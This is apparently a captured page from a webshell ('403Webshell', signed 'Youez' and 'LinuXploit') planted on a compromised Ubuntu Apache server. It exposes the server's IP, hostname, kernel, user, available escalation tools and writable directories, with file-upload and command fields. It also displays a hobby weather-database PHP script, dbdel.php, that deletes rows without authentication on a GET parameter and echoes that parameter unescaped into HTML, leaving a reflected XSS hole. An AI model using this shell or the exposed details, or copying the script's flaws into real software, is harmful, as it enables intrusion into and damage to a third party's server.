403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/projects/infoca/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/projects/infoca/dbdel.php
<!DOCTYPE html>
<!--
******************************
 Project: InfoCA, 2021
 Version: PHP 5-7
 Author : M. Kukic
 Note   :
******************************
-->
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel='shortcut icon' type='image/png' href='favicon.png'/>
<title>InfoCA</title>
</head>
<body>

<?php
//
include "config.php";
//
include "hed.php";
//
//
$ok = $_GET["ok"];
//
// Meteo 96 - 24h
	$dbn=96;
	echo "<h3>DataBase DEL - ".$dbn." (24h)</h3>";
//
	$sql = "SELECT * FROM datalog where amsid='CA0' ORDER BY dattim ASC";
	$result = mysqli_query($dbh, $sql) or die(mysql_error($dbh));
	$numofrows = mysqli_num_rows($result);
		
	echo "<b>NumOfRows: ".$numofrows."</b>";
	echo "<br><br><b>Za brisanje DB-ID: </b>";
	
	if 	($numofrows>($dbn)){
	
		for ($i = 1; $i<($numofrows-$dbn+1); $i++) 
		{				
			$row = mysqli_fetch_array($result);
			$did=$row['id'];
			echo "<br>".$i.". - ".$did;
			//
			if ($ok=="1")
			{
				$sql_d = "DELETE FROM datalog WHERE id=".$did;
				$result_d = mysqli_query($dbh, $sql_d) or die(mysql_error($dbh));
			}
		}
	}
	echo "<br>";
	echo "<form action='dbdel.php?ok=1'>";	
	echo "Status: <input type='text' name='ok' id='ok' value='$ok' size='2'>";
	echo str_repeat('&nbsp;',32)."<input type='submit' value='Enter'>";
	echo "</form>";
	
echo "</table>";

mysqli_close($dbh);	
?>
<hr>
<img src="img/b_white-2.png">
<a href="javascript:history.go(-1)"><img src="img/r_ret.png" width="" height="48"></a><img src="img/b_white-3.png">
<a href="infoca.php"><img src="img/r_up.png" width="" height="48"></a><img src="img/b_white-2.png">
</div>
<?php include "fut.php";?>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit